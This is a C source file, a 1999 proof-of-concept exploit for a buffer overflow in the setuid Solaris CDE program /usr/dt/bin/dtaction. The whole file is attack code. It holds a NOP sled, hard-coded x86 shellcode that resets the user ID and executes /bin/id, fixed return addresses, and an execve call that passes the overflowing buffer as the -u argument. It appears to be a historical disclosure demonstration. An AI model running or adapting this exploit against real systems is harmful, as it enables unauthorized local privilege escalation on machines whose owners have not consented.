/*
 * dtaction_ov.c ( Solaris 7, 2.6, 2.5.1 )
 * Job de Haas
 * (c) ITSX bv 1999
 *
 * This program demonstrates an overflow problem in /usr/dt/bin/dtaction.
 * It has only been tested on Solaris 7 x86
 * assembly code has been taken from ex_dtprintinfo86.c by unewn4th@usa.net
 *
 */

#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <pwd.h>

#define BUFLEN 998

char exploit_code[] =
  "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
  "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
  "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
  "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
  "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
  "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
  "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
  "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
  "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
  "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id";

main()
{
  char *argp[6], *envp[3];
  char buf[2048];
  unsigned long *p;
  struct passwd *pw;
  int buflen;

  if ((pw = getpwuid(getuid())) == NULL)
    {
      perror("getpwuid");
      exit(1);
    }

  buflen = BUFLEN - strlen( pw->pw_name );

  memset(buf,0x90,buflen);

  strncpy( &buf[500], exploit_code, strlen(exploit_code));

  /* set some pointers to values that keep code running */
  p = (unsigned long *)&buf[buflen];
  *p++ = 0x37dc779b;
  *p++ = 0xdfaf6502;
  *p++ = 0x08051230;
  *p++ = 0x080479b8;

  /* the return address. */
  *p++ = 0x08047710;
  *p = 0;

  argp[0] = strdup("/usr/dt/bin/dtaction");
  argp[1] = strdup("-u");
  argp[2] = strdup(buf);
  argp[3] = strdup("Run");
  argp[4] = strdup("/usr/bin/id");
  argp[5] = NULL;

  if (!getenv("DISPLAY"))
    {
      printf("forgot to set DISPLAY\n");
      exit(1);
    }

  envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1);
  strcpy(envp[0],"DISPLAY=");
  strcat(envp[0],getenv("DISPLAY"));
  envp[1] = NULL;

  execve("/usr/dt/bin/dtaction",argp,envp);

}